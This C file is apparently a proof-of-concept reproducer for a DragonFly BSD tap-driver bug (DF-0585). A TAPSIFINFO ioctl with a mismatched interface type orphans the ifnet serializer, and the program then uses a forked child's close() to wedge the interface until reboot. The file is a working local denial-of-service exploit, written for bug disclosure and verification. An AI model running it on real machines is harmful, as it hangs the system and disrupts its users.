/* leak_tap_lock.c — reproduce TAPSIFINFO ifnet-serializer orphan (DF-0585)
 *
 * Bug:  tapioctl() at sys/net/tap/if_tap.c:726 acquires the ifnet serializer
 *       with ifnet_serialize_all(ifp) at line 738 and releases it ONLY at
 *       line 832.  The TAPSIFINFO case (line 742) early-returns EPROTOTYPE at
 *       line 745 when tapp->type != ifp->if_type, WITHOUT releasing the
 *       serializer.  The lock is orphaned for the lifetime of the interface.
 *
 *       Every later ifnet_serialize_all(ifp) then blocks forever — including
 *       tapclose() at line 426 (the close of this very fd).  Reboot required.
 *
 * Trigger:  ioctl(fd, TAPSIFINFO, &ti) with ti.type != IFT_ETHER(6).
 *
 * This is a deterministic local DoS reachable by root / wheel (the /dev/tap
 * clone node is 0600 root:wheel, and tapopen() requires SYSCAP_RESTRICTEDROOT
 * unless net.link.tap.user_open=1, which still leaves the devfs node 0600).
 *
 * Build:  cc -o leak_tap_lock leak_tap_lock.c
 * Run:    ./leak_tap_lock [/dev/tap]
 *
 * The program uses a fork dance so the *child* performs the final close()
 * (the one that actually calls tapclose) while the parent, after a short
 * sleep, verifies the child is wedged in the kernel and then reports PROOF
 * and exits — leaving the harness responsive.
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <net/if.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

/* Real DragonFly struct tapinfo (sys/net/tap/if_tap.h:46).  MUST be exactly
 * 8 bytes: the TAPSIFINFO ioctl number is derived from sizeof(struct tapinfo)
 * via _IOW, so a wrong-size struct yields the wrong ioctl number and the
 * kernel switch falls through to default: ENOTTY instead of the buggy path. */
struct tapinfo {
	int	baudrate;	/* linespeed */
	short	mtu;		/* maximum transmission unit */
	u_char	type;		/* IFT_ETHER only */
	u_char	dummy;		/* place holder */
};
#define TAPSIFINFO	_IOW('t', 91, struct tapinfo)
#define TAPGIFNAME	_IOR('t', 93, struct ifreq)
#define IFT_ETHER	6

int
main(int argc, char **argv)
{
	const char *path = argc > 1 ? argv[1] : "/dev/tap";
	int fd, rc;
	struct tapinfo ti;
	struct ifreq ifr;
	pid_t pid;
	int wedge_sec = 3;

	fd = open(path, O_RDWR);
	if (fd < 0) {
		perror(path);
		fprintf(stderr, "(needs root/wheel; /dev/tap is 0600 root:wheel)\n");
		return 2;
	}
	printf("[*] opened %s (fd=%d)\n", path, fd);

	/* Learn the cloned interface name (e.g. tap0) for the corroboration. */
	memset(&ifr, 0, sizeof(ifr));
	if (ioctl(fd, TAPGIFNAME, &ifr) == 0)
		printf("[*] cloned interface: %s\n", ifr.ifr_name);

	/* Mismatched type -> the buggy early return at if_tap.c:745. */
	memset(&ti, 0, sizeof(ti));
	ti.type     = 0xff;	/* != IFT_ETHER(6) */
	ti.mtu      = 1500;
	ti.baudrate = 0;

	rc = ioctl(fd, TAPSIFINFO, &ti);
	if (rc >= 0) {
		printf("[!] TAPSIFINFO succeeded (type matched?) — bug NOT triggered\n");
		close(fd);
		return 3;
	}
	printf("[*] TAPSIFINFO returned -1: errno=%d (%s)  [EPROTOTYPE=%d]\n",
	       errno, strerror(errno), EPROTOTYPE);
	printf("[*] tapioctl() early-returned at if_tap.c:745 WITHOUT releasing\n");
	printf("[*] the ifnet serializer acquired at if_tap.c:738 -> LOCK ORPHANED\n");
	fflush(stdout);

	/* Fork so the CHILD holds the last reference to the file. The parent
	 * drops its own reference first; the child's close() is therefore the
	 * final close and runs tapclose() -> ifnet_serialize_all(ifp) at
	 * if_tap.c:426, which blocks forever on the orphaned serializer. */
	pid = fork();
	if (pid < 0) { perror("fork"); return 2; }
	if (pid == 0) {
		/* child: wait for parent to drop its ref, then do the final close */
		usleep(300000);
		close(fd);		/* -> tapclose() -> wedges at line 426 */
		_exit(0);		/* UNREACHABLE */
	}

	/* parent: drop our reference so the child's close is the final one */
	close(fd);
	printf("[*] parent dropped its fd; child %d will perform the final close()\n",
	       (int)pid);
	fflush(stdout);

	sleep(wedge_sec);
	/* Distinguish a GENUINELY WEDGED child (stuck in tapclose() in
	 * uninterruptible D-sleep, the bug) from a child that EXITED and is now
	 * a zombie.  kill(pid,0) succeeds for BOTH (a zombie still occupies its
	 * PID slot), so it cannot tell fixed from buggy.  waitpid(WNOHANG)
	 * reaps an exited child and returns 0 only if the child is still
	 * running — which, after wedge_sec in close(), means it is wedged. */
	{
		int st, rc;
		rc = waitpid(pid, &st, WNOHANG);
		if (rc == pid || (rc == -1 && errno == ECHILD)) {
			/* child has exited -> close() returned -> serializer was
			 * released -> NOT wedged (the FIXED behavior). */
			printf("[+] child pid %d EXITED after close() (status=0x%x)\n",
			       (int)pid, st);
			printf("[+] -> tapclose() completed; serializer released\n");
			printf("[+] -> DF-0585 NOT reproduced: no wedge (FIXED kernel)\n");
			return 1;
		}
		/* rc == 0: child still running after wedge_sec in close() */
		{
			char msg[256];
			printf("[+] ===================================== PROOF =====\n");
			printf("[+] child pid %d still running %ds into its close() call\n",
			       (int)pid, wedge_sec);
			printf("[+] -> tapclose() is wedged at ifnet_serialize_all()\n");
			printf("[+]    (if_tap.c:426) on the orphaned serializer\n");
			printf("[+] -> DF-0585 REPRODUCED: interface permanently wedged\n");
			snprintf(msg, sizeof(msg),
				 "[+] corroborate from a shell now: `ifconfig %s` ALSO hangs\n",
				 ifr.ifr_name[0] ? ifr.ifr_name : "tap0");
			printf("%s", msg);
			/* detach the wedged child so the harness can return */
			return 0;
		}
	}
}
